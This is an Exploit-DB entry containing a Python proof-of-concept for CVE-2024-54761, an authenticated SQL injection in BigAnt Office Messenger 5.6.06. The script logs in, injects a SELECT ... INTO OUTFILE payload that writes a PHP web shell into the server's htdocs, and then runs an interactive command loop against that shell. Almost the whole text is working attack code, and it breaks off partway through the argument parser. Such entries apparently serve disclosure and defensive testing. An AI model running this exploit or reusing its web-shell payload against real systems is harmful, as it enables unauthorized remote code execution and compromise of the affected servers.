Exploit-DB #52412
Description: BigAnt Office Messenger 5.6.06 - SQL Injection
Type: webapps
Platform: multiple
Date: 2025-08-18
Author: Nicat Abbasov

Exploit:
# Exploit Title: BigAnt Office Messenger 5.6.06 - SQL Injection
# Date: 01.09.2025 
# Exploit Author: Nicat Abbasov 
# Vendor Homepage: https://www.bigantsoft.com/ 
# Software Link: https://www.bigantsoft.com/download.html 
# Version: 5.6.06 
# Tested on: 5.6.06 
# CVE : CVE-2024-54761
# Github repo: https://github.com/nscan9/CVE-2024-54761

import requests
from bs4 import BeautifulSoup
import base64

class Exploit:
    def __init__(self, rhost, rport=8000, username='admin', [CREDENTIAL_REDACTED]'):
        self.rhost = rhost
        self.rport = rport
        self.username = username.lower()
        self.[CREDENTIAL_REDACTED]
        self.target = f'http://{self.rhost}:{self.rport}'
        self.session = requests.Session()
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': self.target,
            'Referer': f'{self.target}/index.php/Home/login/index.html',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        }
        self.clientid_map = {
            'admin': '1',
            'security': '2',
            'auditor': '3',
            'superadmin': '4',
        }
        self.clientid = self.clientid_map.get(self.username, '4')  # Default to 4 if unknown

    def get_tokens(self):
        print("[*] Fetching login page tokens...")
        url = f'{self.target}/index.php/Home/login/index.html'
        r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']})
        soup = BeautifulSoup(r.text, 'html.parser')

        tokens = {}
        meta = soup.find('meta', attrs={'name': '__hash__'})
        if meta:
            tokens['__hash__'] = meta['content']

        form = soup.find('form')
        if form:
            for hidden in form.find_all('input', type='hidden'):
                name = hidden.get('name')
                value = hidden.get('value', '')
                if name and name not in tokens:
                    tokens[name] = value

        return tokens

    def login(self):
        tokens = self.get_tokens()
        if '__hash__' in tokens:
            tokens['__hash__'] = tokens['__hash__']

        encoded_[CREDENTIAL_REDACTED].b64encode(self.password.encode()).decode()

        data = {
            'saas': 'default',
            'account': self.username,
            'password': encoded_password,
            'to': 'admin',
            'app': '',
            'submit': '',
        }
        data.update(tokens)

        login_url = f'{self.target}/index.php/Home/Login/login_post'
        print(f"[*] Logging in as {self.username}...")
        resp = self.session.post(login_url, headers=self.headers, data=data)
        if resp.status_code != 200:
            print(f"[-] Login failed with HTTP {resp.status_code}")
            return False

        try:
            json_resp = resp.json()
            if json_resp.get('status') == 1:
                print("[+] Login successful!")
                return True
            else:
                print(f"[-] Login failed: {json_resp.get('info')}")
                return False
        except:
            print("[-] Failed to parse login response JSON")
            return False

    def check_redirect(self):
        url = f'{self.target}/index.php/admin/public/load/clientid/{self.clientid}.html'
        print(f"[*] Checking for redirect after login to clientid {self.clientid} ...")
        r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}, allow_redirects=False)
        if r.status_code == 302:
            print(f"[+] Redirect found to {r.headers.get('Location')}")
            return True
        else:
            print(f"[-] Redirect not found, got HTTP {r.status_code}")
            return False

    def upload_shell(self):
        print("[*] Uploading webshell via SQLi...")
        payload = ';SELECT "<?php system($_GET[\'cmd\']); ?>" INTO OUTFILE \'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php\'-- -'
        url = f'{self.target}/index.php/Admin/user/index/clientid/{self.clientid}.html'
        params = {'dev_code': payload}
        r = self.session.get(url, params=params, headers={'User-Agent': self.headers['User-Agent']})
        if r.status_code == 200:
            print("[+] Payload sent, checking the shell...")
            self.check_shell()
        else:
            print(f"[-] Failed to send payload, HTTP {r.status_code}")

    def check_shell(self):
        print("[*] Enter shell commands to execute on the target. Empty command to exit.")
        while True:
            cmd = input("shell> ").strip()
            if not cmd:
                print("[*] Exiting shell.")
                break
            shell_url = f'{self.target}/shell.php?cmd={cmd}'
            print(f"[*] Sending command: {cmd}")
            r = self.session.get(shell_url)
            if r.status_code == 200 and r.text.strip():
                print(r.text.strip())
            else:
                print("[-] No response or empty output from shell.")

    def run(self):
        if self.login():
            if self.check_redirect():
                self.upload_shell()
            else:
                print("[-] Redirect check failed, aborting.")
        else:
            print("[-] Login failed, aborting.")


if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='Exploit for CVE-2024-54761 BigAntSoft  SQLi to RCE')
    parser.add_argument('-r', '--rhost', required=True, help='Target IP address')
    parser.add_argument('-p', '--rport', default=8000, type=int, help='Target port (default 8000)')
    parser.add_argument('-u', '--username', default='admin', help='Login username (default admin)')
    parser.add_argument('-P', '--passwo